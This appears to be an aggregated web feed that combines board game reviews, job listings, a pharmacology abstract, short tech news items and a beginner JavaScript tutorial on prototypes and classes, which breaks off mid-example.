are discarded and the foundation card is then turned upright and become a building. If a foundation has only a gold cost, then it is immediately built without needing to acquire any resources. It should be noted that some buildings will have a build ability that may be used once during the turn that the foundation was built. Other buildings may provide abilities that score points at the end of the game, or a special ability that may be used once per turn. One last thing of note, a player may only use 1 special ability per turn. These special abilities are noted with a star.

One final thing that I haven't mentioned is awards. These are cards that require certain things and will score points at the end of the game. To claim one of these, the player must first be able to meet the requirements of the award. When they do, the will take the award and place it in their district. Until the first player's next turn, other players may also share in claiming awards. If the player is able to meet the requirements for an award, they will then take an unused award face down in it's place.

Each time the deck runs out, the discard pile is shuffled to create a new deck. Once the deck runs out a set number of times, dependent on the number of players, the game end is triggered. When the deck runs out for the last time, the discard pile is shuffled once more. Players will continue to take turns until it is the first player's turn. Each player will then take 1 last turn. If the deck runs out after the end game is triggered, the discard pile is shuffled again as needed. Once the game ends, scoring occurs. Any incomplete foundations, along with the resources stored behind them, are discarded. Players will then check to see if they have any scoring abilities that may affect Judge scoring. These are then activated in turn order. The player that has the most buildings of a judge's preference will then claim that particular judge. Players will then add up their points from their buildings, awards and judges, as well as for any scoring abilities. The player with the most points is the winner.



COMPONENTS
The version of the game that I received is a prototype copy. With that in mind, be aware that some things about this game may change before being published. As it is now, the game consists of only a stack of cards. There are 60 town cards, 6 judges, 8 awards and 4 player crest cards. The town cards have these really nice designs with huge pieces of art surrounded by some iconography that is fairly simple to understand. At the moment, none of the judge cards have faces on them. I'm assuming that this will be an option for backers of the Kickstarter campaign to be able to put their face into the game. I think these will look really cool once they're completed. The awards cards are a little bland, with only a trophy on them along with the requirements to collect one. However I'm sure these will also be upgraded to look much better when the game goes into production. The player crest cards are really nice. On the backs of these is a really unique coat of arms. The front side of these contains a player reference, along with the turn sequence, special icons and even a special ability that may be used during the game. Overall I really like the look of the game. The town card are gorgeous. I'm hoping that this beautiful artwork will also make it's way onto the awards cards as well. Needless to say, I'm really looking forward to seeing how this game turns out once it's finally put into print. If what I've seen is any indication of how good it'll look, I'm sure it's going to be amazing.
----

RULEBOOK
As with the components, the rulebook is also a prototype. That said, the book is pretty impressive. With lots of full color pictures and examples throughout the book, there's a lot to love here. The contents of the game are found on the first page along with a great look at what the Judge cards may end up looking like with their completed artwork. The next page has a breakdown of a town card, explaining each of the different parts of the card. There's also a reference of the iconography used on them as well. The next 2 pages consist of explaining the setup, including a minor change for 2 player games. The next several pages go over the steps of a player's turn, along with the different action which are explained in detail. The last couple of pages include rules for playing the game solo, along with a card appendix that explains a bit more in detail some of the different cards. Overall, I think the book looks great. After reading through it, I found that I understood how to play the game quite well. The rules were simple to read and understand. For the very few times that I found myself looking back at the rulebook, it was very easy to find what I was looking for. Everything is laid out so well that I had no problems. I really like how nice the book looks and am very appreciative of all the great examples scattered throughout the book. They really helped me understand the rules even better. Needless to say, I'm pleased with the current rulebook and can't wait to see the finished product.
----

GAMEPLAY
I rather enjoy a good city building game. Computer games like Sim City and Roller Coaster Tycoon were among my favorites growing up. I enjoyed creating something that was completely unique to me. In the board game world, games like Suburbia and Castles of Mad King Ludwig gave me this same feeling and enjoyment that I would get from those old computer games. Town Builder: Coevorden fits in right at home with those other games. I enjoy finding those cards that mesh just right together to get my district humming right along. I really like creating this unique little city of my own design. I like gathering up the materials to be able to turn that foundation upright. There's something uniquely satisfying about doing that . I really enjoy the look of the game. The cards really help create this lovely town that you will be working to build. I found that once I finished playing the game, I liked to look back at what I'd built and kind of think about what that city might actually look like and what the story behind this particular city might be. I know that's probably odd and a bit too involved, but that's one thing that I really enjoyed about this game. It made me feel involved in the city that I was building. Some games I have felt like I was simply dealing with a random bunch of resources and nothing else. This takes some of that same idea, but makes you think sometimes about just what you want to do with them. Do you place that stone and wood card beneath your quarry for the extra stone to help build it, or do you use it to finish off that town castle that will earn you 7 points at the end of the game. That's one thing about this game, points are tight. What i mean is that in multiplayer games every point matters and can be hard to come by. That's even more important in the solo game. You will definitely find yourself thinking ahead several moves as you try to get those few points that you're able to get. Needless to say, I really enjoy this one, both as with other players and as a solo game. As a matter of fact, I probably like the solo game the best. Not that the regular game is bad, because it's not, it's just that I honestly haven't found many games like this that play solo this well. There are a few changes to the solo game from the main game, but it's mainly just removing a few cards and judges from the game. The solo game is all about scoring as many points as possible. The higher the score, the higher you rank. If you score less than 30 points, you're an unworthy peasant who should probably get back to the pig farm and leave the city building to the professionals. However if you're able to score 38 points or more, well you're just the most noble of nobles and can expect to have the kingdom handed to you on a silver plate at any moment. You lucky dog! Regardless of which way you play, whether solo or multiplayer, this is definitely a game that should appeal to you. I find that fans of games like Suburbia and Castles of Mad King Ludwig should really enjoy this one as well. This is one that is family friendly and not too overly thinky. However the younger players might have a bit of trouble understanding just exactly how to play. I think most preteens and older shouldn't have any trouble with this one. I really enjoy the game. This is definitely one that I would recommend keeping an eye out for and backing when it comes to Kickstarter. I highly recommend it.
9 out of 10

OVERALL
Town Builder: Coevorden is a city building card game of resource management and strategy. The game isn't one that takes too long. Most game sessions last around 45 minutes or so. The cards for this game have some really great looking artwork. With this just being a prototype, I can only imagine how much better the game will look once it's actually produced. The same is also true of the rulebook. As is usually the case with most prototypes, you can probably expect some changes before the game actually makes it to market. That said, I'm very impressed with the overall look and feel of what I've seen so far. The game itself is fairly simple to learn but challenging to win, especially as a solo player. It's really fun. Fans of games like Suburbia and Castles of Mad King Ludwig should enjoy the city building aspects of this game. Solo players will also enjoy this one, especially if they like a beat your own score victory. This is also one that is family friendly, especially with preteens and older. This is one that should just get better when produced. I would highly recommend backing it on Kickstarter. No building license needed.
9 out of 10


For more information about this great game, please check out First Fish Games at their site.

http://www.firstfishgames.com/

Please check back soon for the Kickstarter link where you can back the game and get your own copy.


          Review: Kamikaze Chess:: Some fun options with this one      Cache   Translate Page      

by Talisinbear

There are a few hundred chess variants out there, and finding the ones that offer the most potential for fun without requiring a computer to figure out the moves is a definite challenge.

P.E. Robinson, creator of Kamikaze Chess has gone about things a bit differently.

There are no complicated new chess pieces here. Instead, Robinson has created what is sort of a new board. It is the same 8X8 grid, but land on a square, flip the card that makes up that spot, and you find what are essentially traps.

The game, which comes in a box about the size of a Reese’s Cup if the cups were square and not round, makes it rather easy to travel with.

The idea is to take the 32 cards which have ‘traps’ and lay them out as the black squares on a board, then playing a regular chess game with the cardboard pieces also provided. That is a fine idea, although knowing every stop on a black square is going to throw a monkey wrench into the game may be too much for many.

Facing the prospect of game changing elements such as ‘trade’ where you swap the moved chessman with any other on the board, or ‘sudden death’ the moved piece is lost, is a tad overly chaotic.

Yet in the tradition of Knightmare Chess there is something just fun about the concept that Kamikaze Chess offers.

So are a couple of ideas I have played around with to maintain the ‘traps’ but reduce the chaos.

Mark half the32 cards, and then randomly lay the pattern. Only the marked cards are traps when found.

Along the same lines, each player takes half the cards, so eight marked and eight not. Lay those out as desired on your home two rows. Only the opponent’s piece triggers a card to flip, (assume your army knows where the traps are to avoid them).

This gives players a chance to remember where the traps are to lure in the opponent, or it can be random as well.

However you play with these cards, there is a lot of potential for some random fun, and mayhem in your game.

The game works for checkers too, which is kind of interesting in itself.

The game did have me wondering why Robinson created it. So off went an email to find out.

“I learned to play chess from my grandfather and father,” he replied. “Now I play with my kids, but I was seeing them consistently being deflated because someone playing a true game with more experience always has the upper hand and is always a step ahead. I wanted to come up with a crazy (or fun) way to make games more unpredictable than having the best player just outright smash the other player, as a means to keep spirits high and odds more even.”

Robinson said the game came together quite quickly.

“I design very quickly and had a prototype within a month or two that was playable,” he said. “After that, game testing was pretty straightforward with multiple age groups and skill levels to try out.

Once we refined the problem areas, we developed more formal, brief rules, which ship inside each game, that help start and guide players to a new kind of chess match every time.”

In terms of the best element of the game, Robinson said, “The compact aspect with big gameplay has been a priority since day one. We wanted an extremely small form-factor (2x2- inch square) that can expand to be a full size 16x16-inch game board, multifunctional and fun – all for a lower price than most other games and in one pocket-sized box.”

This is certainly a great game option for chess players, especially players who face opponents of different skill levels and want to add so randomness to level the playing field and just have fun.

Check it out at www.kamikazechess.com

          Data disconnect      Cache   Translate Page      
You could say that my generation essentially grew up with the digital age. We started off with the original prototypes–the MP3 players, the GameBoys the ENV3’s of the world that seem prehistoric nowadays. Some of the freshmen now may have never even heard of these things. And yet, our generation seemed to be the guinea […]
          Manager, Software Development - David Aplin Group - Saskatoon, SK      Cache   Translate Page      
Develop prototypes, design software interfaces and handle all code related tasks (in a combination of supervisory and hands-on role)....
From David Aplin Group - Tue, 09 Oct 2018 00:31:13 GMT - View all Saskatoon, SK jobs
          Novel technologies for dipeptide drugs design and their implantation.      Cache   Translate Page      
Related Articles

Novel technologies for dipeptide drugs design and their implantation.

Curr Pharm Des. 2018 Oct 07;:

Authors: Gudasheva TA, Ostrovskaya RU, Seredenin SB

Abstract
The article is an overview of author's data obtained in the framework of the project "The Creation of dipeptide preparations" at the V.V. Zakusov Institute of Pharmacology, Moscow, Russia. Advantages of dipeptides over longer peptides consist in that they are orally active owing to higher stability and ability to penetrate biological barriers due to presence of specific ATP-dependent transporters in enterocytes and blood-brain barrier. Two original approaches for dipeptide drugs design have been developed. Both of them are based on the idea of a leading role of central dipeptide fragment of the peptide chain beta-turn in the peptide-receptor interaction. The first approach, named "peptide drug-based design" represents the transformation of known nonpeptide drug into its dipeptide topological analog. The latter usually corresponds to a beta-turn of some regulatory peptide. The second approach represents the design of tripeptoide mimetic of the beta-turn of regulatory peptide or protein. The results of the studies, which led to the discovery of endogenous prototypes of the known non-peptide drugs piracetam and sulpiride, are presented herein. The paper discusses the process, based on the above-mentioned principles, that was used in designing of nontoxic, orally available, highly effective dipeptide drugs: nootropic noopept, dipeptide analog of piracetam; antipsychotic dilept, neurotensin tripeptoid analog; selective anxiolytic GB-115, tripeptoid analog of CCK-4, and potential neuroprotector GK-2, homodimeric dipeptide analog of NGF.

PMID: 30295186 [PubMed - as supplied by publisher]


           Arcimoto gets ready for retail production of its all-electric Fun Utility Vehicle       Cache   Translate Page      

A production run of 25 SRK pilot vehicles has begun, ahead of retail availability by the ...#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

After notching up eight generations of prototype SRK electric three-wheelers, Arcimoto has followed a 15 model Beta Series by kicking off the manufacture of 25 Pilot Series Fun Utility Vehicles ahead of retail series production by the end of 2018.

.. Continue Reading Arcimoto gets ready for retail production of its all-electric Fun Utility Vehicle

Category: Automotive

Tags:
           Piaggio puts a price on its electric Vespa and starts taking orders       Cache   Translate Page      

We first spotted an electrified prototype of Piaggio’s iconic Vespa scooter at EICMA in Milan two ...#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

After announcing in August that its first electric two-wheeler was moving into production, Piaggio has now opened up orders for its Vespa Elettrica scooter. The first owners will be taking to the streets of Europe, with wider availability to follow thereafter.

.. Continue Reading Piaggio puts a price on its electric Vespa and starts taking orders

Category: Motorcycles

Tags:
          looking for a python full stack django developer      Cache   Translate Page      
should be aware of ajax, jquery and django (Budget: $10 - $30 USD, Jobs: AJAX, Django, Javascript, jQuery / Prototype, Python)
          looking for a python full stack django developer      Cache   Translate Page      
should be aware of ajax, jquery and django (Budget: $10 - $30 USD, Jobs: AJAX, Django, Javascript, jQuery / Prototype, Python)
          Neon Sign Auction - Diggins MO - Tuesday October 2nd, 2018 - Advantage Auction Team      Cache   Translate Page      
Online Auction - Diggins MO - Tuesday October 2nd, 2018 - Advantage Auction Team | Amazing private collection of neon signs Owner collected for over 30 years In this sale you will see rare and vintage signs as well as prototype signs that have never been circulated These signs will make a great addition to your collection man cave restaurant or bar
          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          Maintenance Technician      Cache   Translate Page      
KY-London, Job Description Responsibilities: Maintains and makes any repairs and/or adjustments on all types of equipment and building infrastructures. Correct any mechanical, electrical, hydraulic, etc. problems and if not possible, report concerns to shift Team lead. Make recommendations on required changes to existing and new tooling, prototypes and fixtures, ensuring better quality parts. Maintain, inspe
          SB-1 Races To First Flight Goal Before January      Cache   Translate Page      
A Sikorsky/Boeing team says the high-speed SB-1 prototype “remains on a path” to achieve first flight by year’s end.

read more


          Architecture: Prototype Home for Life on Mars by Xiaomi      Cache   Translate Page      

The building controls the consumption of resources and can be folded for transportation. Open Architecture together with Xiaomi developed the MARS case, a prototype of a house in which people can live on Mars. All of its parts, including the residential module, can be minimized for transportation. “MARS case” is a lightweight building with natural energy circulation and […]

The post Architecture: Prototype Home for Life on Mars by Xiaomi appeared first on HybridTechCar.


          PSPW Prototype Fountain Pen - Green Glitter, No Clip, JoWo #6 Nibs (New)      Cache   Translate Page      

          QUINTUS Technologies® High Pressure Flexform Press Supports MINTH Group ...      Cache   Translate Page      
Chinese automotive supplier applies flexible forming technology to rapid prototyping V&Auml;STER&Aring;S, SWEDEN (PRWEB)&nbsp;OCTOBER 03, 2018 - A state-of-the-art high pressure Flexform press from&nbsp;Quintus Technologies&nbsp;will support the growth strategy in place at MINTH Group, China&rsquo;s leading supplier of exterior auto parts. The press is destined for MINTH&rsquo;s Anji factory in Zhejiang province, which focuses on prototype development for a product line that includes trims,...

This story is related to the following:
Machinery & Machining Tools

Search for suppliers of: High Pressure Presses

          Technical Architect I      Cache   Translate Page      
TX-Houston, Job title: Technical Architect I Duration:6+months Location: Houston, TX Job description: Oversee the development of future component architectures and migration plans. Conceive, design, prototype, and test new methods, algorithms, and models. Define and enforce appropriate technical standards and procedures. 2-4 years experience. Additional Notes: -Network Engineer -Solar Winds, ASA Firewalls, an
          A Beginner's Guide to JavaScript's Prototype      Cache   Translate Page      

You can’t get very far in JavaScript without dealing with objects. They’re foundational to almost every aspect of the JavaScript programming language. In this post you’ll learn about a variety of patterns for instantiating new objects and in doing so, you’ll be gradually led to understanding JavaScript’s prototype in depth.

This is part of our Advanced JavaScript course. If you enjoy this post, check it out.

Video

Post

You can't get very far in JavaScript without dealing with objects. They're foundational to almost every aspect of the JavaScript programming language. In fact, learning how to create objects is probably one of the first things you studied when you were starting out. With that said, in order to most effectively learn about prototypes in JavaScript, we're going to channel our inner Jr. developer and go back to the basics.

Objects are key/value pairs. The most common way to create an object is with curly braces {} and you add properties and methods to an object using dot notation.

let animal = {}
animal.name = 'Leo'
animal.energy = 10

animal.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

animal.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

animal.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

Simple. Now odds are in our application we'll need to create more than one animal. Naturally the next step for this would be to encapsulate that logic inside of a function that we can invoke whenever we needed to create a new animal. We'll call this pattern Functional Instantiation and we'll call the function itself a "constructor function" since it's responsible for "constructing" a new object.

Functional Instantiation

function Animal (name, energy) {
  let animal = {}
  animal.name = name
  animal.energy = energy

  animal.eat = function (amount) {
    console.log(`${this.name} is eating.`)
    this.energy += amount
  }

  animal.sleep = function (length) {
    console.log(`${this.name} is sleeping.`)
    this.energy += length
  }

  animal.play = function (length) {
    console.log(`${this.name} is playing.`)
    this.energy -= length
  }

  return animal
}

const leo = Animal('Leo', 7)
const snoop = Animal('Snoop', 10)

"I thought this was an Advanced JavaScript course...?" - Your brain It is. We'll get there.

Now whenever we want to create a new animal (or more broadly speaking a new "instance"), all we have to do is invoke our Animal function, passing it the animal's name and energy level. This works great and it's incredibly simple. However, can you spot any weaknesses with this pattern? The biggest and the one we'll attempt to solve has to do with the three methods - eat, sleep, and play. Each of those methods are not only dynamic, but they're also completely generic. What that means is that there's no reason to re-create those methods as we're currently doing whenever we create a new animal. We're just wasting memory and making each animal object bigger than it needs to be. Can you think of a solution? What if instead of re-creating those methods every time we create a new animal, we move them to their own object then we can have each animal reference that object? We can call this pattern Functional Instantiation with Shared Methods, wordy but descriptive 🤷‍♂️.

Functional Instantiation with Shared Methods

const animalMethods = {
  eat(amount) {
    console.log(`${this.name} is eating.`)
    this.energy += amount
  },
  sleep(length) {
    console.log(`${this.name} is sleeping.`)
    this.energy += length
  },
  play(length) {
    console.log(`${this.name} is playing.`)
    this.energy -= length
  }
}

function Animal (name, energy) {
  let animal = {}
  animal.name = name
  animal.energy = energy
  animal.eat = animalMethods.eat
  animal.sleep = animalMethods.sleep
  animal.play = animalMethods.play

  return animal
}

const leo = Animal('Leo', 7)
const snoop = Animal('Snoop', 10)

By moving the shared methods to their own object and referencing that object inside of our Animal function, we've now solved the problem of memory waste and overly large animal objects.

Object.create

Let's improve our example once again by using Object.create. Simply put, Object.create allows you to create an object which will delegate to another object on failed lookups. Put differently, Object.create allows you to create an object and whenever there's a failed property lookup on that object, it can consult another object to see if that other object has the property. That was a lot of words. Let's see some code.

const parent = {
  name: 'Stacey',
  age: 35,
  heritage: 'Irish'
}

const child = Object.create(parent)
child.name = 'Ryan'
child.age = 7

console.log(child.name) // Ryan
console.log(child.age) // 7
console.log(child.heritage) // Irish

So in the example above, because child was created with Object.create(parent), whenever there's a failed property lookup on child, JavaScript will delegate that lookup to the parent object. What that means is that even though child doesn't have a heritage property, parent does so when you log child.heritage you'll get the parent's heritage which was Irish.

Now with Object.create in our tool shed, how can we use it in order to simplify our Animal code from earlier? Well, instead of adding all the shared methods to the animal one by one like we're doing now, we can use Object.create to delegate to the animalMethods object instead. To sound really smart, let's call this one Functional Instantiation with Shared Methods and Object.create 🙃

Functional Instantiation with Shared Methods and Object.create

const animalMethods = {
  eat(amount) {
    console.log(`${this.name} is eating.`)
    this.energy += amount
  },
  sleep(length) {
    console.log(`${this.name} is sleeping.`)
    this.energy += length
  },
  play(length) {
    console.log(`${this.name} is playing.`)
    this.energy -= length
  }
}

function Animal (name, energy) {
  let animal = Object.create(animalMethods)
  animal.name = name
  animal.energy = energy

  return animal
}

const leo = Animal('Leo', 7)
const snoop = Animal('Snoop', 10)

leo.eat(10)
snoop.play(5)

📈 So now when we call leo.eat, JavaScript will look for the eat method on the leo object. That lookup will fail, then, because of Object.create, it'll delegate to the animalMethods object which is where it'll find eat.

So far, so good. There are still some improvements we can make though. It seems just a tad "hacky" to have to manage a separate object (animalMethods) in order to share methods across instances. That seems like a common feature that you'd want to be implemented into the language itself. Turns out it is and it's the whole reason you're here - prototype.

So what exactly is prototype in JavaScript? Well, simply put, every function in JavaScript has a prototype property that references an object. Anticlimactic, right? Test it out for yourself.

function doThing () {}
console.log(doThing.prototype) // {}

What if instead of creating a separate object to manage our methods (like we're doing with animalMethods), we just put each of those methods on the Animal function's prototype? Then all we would have to do is instead of using Object.create to delegate to animalMethods, we could use it to delegate to Animal.prototype. We'll call this pattern Prototypal Instantiation.

Prototypal Instantiation

function Animal (name, energy) {
  let animal = Object.create(Animal.prototype)
  animal.name = name
  animal.energy = energy

  return animal
}

Animal.prototype.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

Animal.prototype.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

Animal.prototype.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

const leo = Animal('Leo', 7)
const snoop = Animal('Snoop', 10)

leo.eat(10)
snoop.play(5)

👏👏👏 Hopefully you just had a big "aha" moment. Again, prototype is just a property that every function in JavaScript has and, as we saw above, it allows us to share methods across all instances of a function. All our functionality is still the same but now instead of having to manage a separate object for all the methods, we can just use another object that comes built into the Animal function itself, Animal.prototype.

Let's. Go. Deeper.

At this point we know three things:

1) How to create a constructor function.
2) How to add methods to the constructor function's prototype.
3) How to use Object.create to delegate failed lookups to the function's prototype.

Those three tasks seem pretty foundational to any programming language. Is JavaScript really that bad that there's no easier, "built in" way to accomplish the same thing? As you can probably guess at this point there is, and it's by using the new keyword.

What's nice about the slow, methodical approach we took to get here is you'll now have a deep understanding of exactly what the new keyword in JavaScript is doing under the hood.

Looking back at our Animal constructor, the two most important parts were creating the object and returning it. Without creating the object with Object.create, we wouldn't be able to delegate to the function's prototype on failed lookups. Without the return statement, we wouldn't ever get back the created object.

function Animal (name, energy) {
  let animal = Object.create(Animal.prototype)
  animal.name = name
  animal.energy = energy

  return animal
}

Here's the cool thing about new - when you invoke a function using the new keyword, those two lines are done for you implicitly ("under the hood") and the object that is created is called this.

Using comments to show what happens under the hood and assuming the Animal constructor is called with the new keyword, it can be re-written as this.

function Animal (name, energy) {
  // const this = Object.create(Animal.prototype)

  this.name = name
  this.energy = energy

  // return this
}

const leo = new Animal('Leo', 7)
const snoop = new Animal('Snoop', 10)

and without the "under the hood" comments

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

Animal.prototype.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

Animal.prototype.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

Animal.prototype.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

const leo = new Animal('Leo', 7)
const snoop = new Animal('Snoop', 10)

Again the reason this works and that the this object is created for us is because we called the constructor function with the new keyword. If you leave off new when you invoke the function, that this object never gets created nor does it get implicitly returned. We can see the issue with this in the example below.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

const leo = Animal('Leo', 7)
console.log(leo) // undefined

The name for this pattern is Pseudoclassical Instantiation.

If JavaScript isn't your first programming language, you might be getting a little restless.

"WTF this dude just re-created a crappier version of a Class" - You

For those unfamiliar, a Class allows you to create a blueprint for an object. Then whenever you create an instance of that Class, you get an object with the properties and methods defined in the blueprint.

Sound familiar? That's basically what we did with our Animal constructor function above. However, instead of using the class keyword, we just used a regular old JavaScript function to re-create the same functionality. Granted, it took a little extra work as well as some knowledge about what happens "under the hood" of JavaScript but the results are the same.

Here's the good news. JavaScript isn't a dead language. It's constantly being improved and added to by the TC-39 committee. What that means is that even though the initial version of JavaScript didn't support classes, there's no reason they can't be added to the official specification. In fact, that's exactly what the TC-39 committee did. In 2015, EcmaScript (the official JavaScript specification) 6 was released with support for Classes and the class keyword. Let's see how our Animal constructor function above would look like with the new class syntax.

class Animal {
  constructor(name, energy) {
    this.name = name
    this.energy = energy
  }
  eat(amount) {
    console.log(`${this.name} is eating.`)
    this.energy += amount
  }
  sleep(length) {
    console.log(`${this.name} is sleeping.`)
    this.energy += length
  }
  play(length) {
    console.log(`${this.name} is playing.`)
    this.energy -= length
  }
}

const leo = new Animal('Leo', 7)
const snoop = new Animal('Snoop', 10)

Pretty clean, right?

So if this is the new way to create classes, why did we spend so much time going over the old way? The reason for that is because the new way (with the class keyword) is primarily just "syntactical sugar" over the existing way we've called the pseudoclassical pattern. In order to fully understand the convenience syntax of ES6 classes, you first must understand the pseudoclassical pattern.

At this point we've covered the fundamentals of JavaScript's prototype. The rest of this post will be dedicated to understanding other "good to know" topics related to it. In another post we'll look at how we can take these fundamentals and use them to understand how inheritance works in JavaScript.

Array Methods

We talked in depth above about how if you want to share methods across instances of a class, you should stick those methods on the class' (or function's) prototype. We can see this same pattern demonstrated if we look at the Array class. Historically you've probably created your arrays like this

const friends = []

Turns out that's just sugar over creating a new instance of the Array class.

const friendsWithSugar = []

const friendsWithoutSugar = new Array()

One thing you might have never thought about is how does every instance of an array have all of those built in methods (splice, slice, pop, etc)?

Well as you now know, it's because those methods live on Array.prototype and when you create a new instance of Array, you use the new keyword which sets up that delegation to Array.prototype on failed lookups.

We can see all the array's methods by simply logging Array.prototype.

console.log(Array.prototype)

/*
  concat: ƒn concat()
  constructor: ƒn Array()
  copyWithin: ƒn copyWithin()
  entries: ƒn entries()
  every: ƒn every()
  fill: ƒn fill()
  filter: ƒn filter()
  find: ƒn find()
  findIndex: ƒn findIndex()
  forEach: ƒn forEach()
  includes: ƒn includes()
  indexOf: ƒn indexOf()
  join: ƒn join()
  keys: ƒn keys()
  lastIndexOf: ƒn lastIndexOf()
  length: 0n
  map: ƒn map()
  pop: ƒn pop()
  push: ƒn push()
  reduce: ƒn reduce()
  reduceRight: ƒn reduceRight()
  reverse: ƒn reverse()
  shift: ƒn shift()
  slice: ƒn slice()
  some: ƒn some()
  sort: ƒn sort()
  splice: ƒn splice()
  toLocaleString: ƒn toLocaleString()
  toString: ƒn toString()
  unshift: ƒn unshift()
  values: ƒn values()
*/

The exact same logic exists for Objects as well. Alls object will delegate to Object.prototype on failed lookups which is why all objects have methods like toString and hasOwnProperty.

Static Methods

Up until this point we've covered the why and how of sharing methods between instances of a Class. However, what if we had a method that was important to the Class, but didn't need to be shared across instances? For example, what if we had a function that took in an array of Animal instances and determined which one needed to be fed next? We'll call it nextToEat.

function nextToEat (animals) {
  const sortedByLeastEnergy = animals.sort((a,b) => {
    return a.energy - b.energy
  })

  return sortedByLeastEnergy[0].name
}

It doesn't make sense to have nextToEat live on Animal.prototype since we don't want to share it amongst all instances. Instead, we can think of it as more of a helper method. So if nextToEat shouldn't live on Animal.prototype, where should we put it? Well the obvious answer is we could just stick nextToEat in the same scope as our Animal class then reference it when we need it as we normally would.

class Animal {
  constructor(name, energy) {
    this.name = name
    this.energy = energy
  }
  eat(amount) {
    console.log(`${this.name} is eating.`)
    this.energy += amount
  }
  sleep(length) {
    console.log(`${this.name} is sleeping.`)
    this.energy += length
  }
  play(length) {
    console.log(`${this.name} is playing.`)
    this.energy -= length
  }
}

function nextToEat (animals) {
  const sortedByLeastEnergy = animals.sort((a,b) => {
    return a.energy - b.energy
  })

  return sortedByLeastEnergy[0].name
}

const leo = new Animal('Leo', 7)
const snoop = new Animal('Snoop', 10)

console.log(nextToEat([leo, snoop])) // Leo

Now this works, but there's a better way.

Whenever you have a method that is specific to a class itself, but doesn't need to be shared across instances of that class, you can add it as a static property of the class.

class Animal {
  constructor(name, energy) {
    this.name = name
    this.energy = energy
  }
  eat(amount) {
    console.log(`${this.name} is eating.`)
    this.energy += amount
  }
  sleep(length) {
    console.log(`${this.name} is sleeping.`)
    this.energy += length
  }
  play(length) {
    console.log(`${this.name} is playing.`)
    this.energy -= length
  }
  static nextToEat(animals) {
    const sortedByLeastEnergy = animals.sort((a,b) => {
      return a.energy - b.energy
    })

    return sortedByLeastEnergy[0].name
  }
}

Now, because we added nextToEat as a static property on the class, it lives on the Animal class itself (not its prototype) and can be accessed using Animal.nextToEat.

const leo = new Animal('Leo', 7)
const snoop = new Animal('Snoop', 10)

console.log(Animal.nextToEat([leo, snoop])) // Leo

Because we've followed a similar pattern throughout this post, let's take a look at how we would accomplish this same thing using ES5. In the example above we saw how using the static keyword would put the method directly onto the class itself. With ES5, this same pattern is as simple as just manually adding the method to the function object.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

Animal.prototype.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

Animal.prototype.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

Animal.prototype.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

Animal.nextToEat = function (nextToEat) {
  const sortedByLeastEnergy = animals.sort((a,b) => {
    return a.energy - b.energy
  })

  return sortedByLeastEnergy[0].name
}

const leo = new Animal('Leo', 7)
const snoop = new Animal('Snoop', 10)

console.log(Animal.nextToEat([leo, snoop])) // Leo

Getting the prototype of an object

Regardless of whichever pattern you used to create an object, getting that object's prototype can be accomplished using the Object.getPrototypeOf method.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

Animal.prototype.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

Animal.prototype.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

Animal.prototype.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

const leo = new Animal('Leo', 7)
const prototype = Object.getPrototypeOf(leo)

console.log(prototype)
// {constructor: ƒ, eat: ƒ, sleep: ƒ, play: ƒ}

prototype === Animal.prototype // true

There are two important takeaways from the code above.

First, you'll notice that proto is an object with 4 methods, constructor, eat, sleep, and play. That makes sense. We used getPrototypeOf passing in the instance, leo getting back that instances' prototype, which is where all of our methods are living. This tells us one more thing about prototype as well that we haven't talked about yet. By default, the prototype object will have a constructor property which points to the original function or the class that the instance was created from. What this also means is that because JavaScript puts a constructor property on the prototype by default, any instances will be able to access their constructor via instance.constructor.

The second important takeaway from above is that Object.getPrototypeOf(leo) === Animal.prototype. That makes sense as well. The Animal constructor function has a prototype property where we can share methods across all instances and getPrototypeOf allows us to see the prototype of the instance itself.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

const leo = new Animal('Leo', 7)
console.log(leo.constructor) // Logs the constructor function

To tie in what we talked about earlier with Object.create, the reason this works is because any instances of Animal are going to delegate to Animal.prototype on failed lookups. So when you try to access leo.prototype, leo doesn't have a prototype property so it will delegate that lookup to Animal.prototype which indeed does have a constructor property. If this paragraph didn't make sense, go back and read about Object.create above.

You may have seen __proto__ used before to get an instances' prototype. That's a relic of the past. Instead, use Object.getPrototypeOf(instance) as we saw above.

Determining if a property lives on the prototype

There are certain cases where you need to know if a property lives on the instance itself or if it lives on the prototype the object delegates to. We can see this in action by looping over our leo object we've been creating. Let's say the goal was the loop over leo and log all of its keys and values. Using a for in loop, that would probably look like this.

function Animal (name, energy) {
  this.name = name
  this.energy = energy
}

Animal.prototype.eat = function (amount) {
  console.log(`${this.name} is eating.`)
  this.energy += amount
}

Animal.prototype.sleep = function (length) {
  console.log(`${this.name} is sleeping.`)
  this.energy += length
}

Animal.prototype.play = function (length) {
  console.log(`${this.name} is playing.`)
  this.energy -= length
}

const leo = new Animal('Leo', 7)

for(let key in leo) {
  console.log(`Key: ${key}. Value: ${leo[key]}`)
}

What would you expect to see? Most likely, it was something like this -

Key: name. Value: Leo
Key: energy. Value: 7

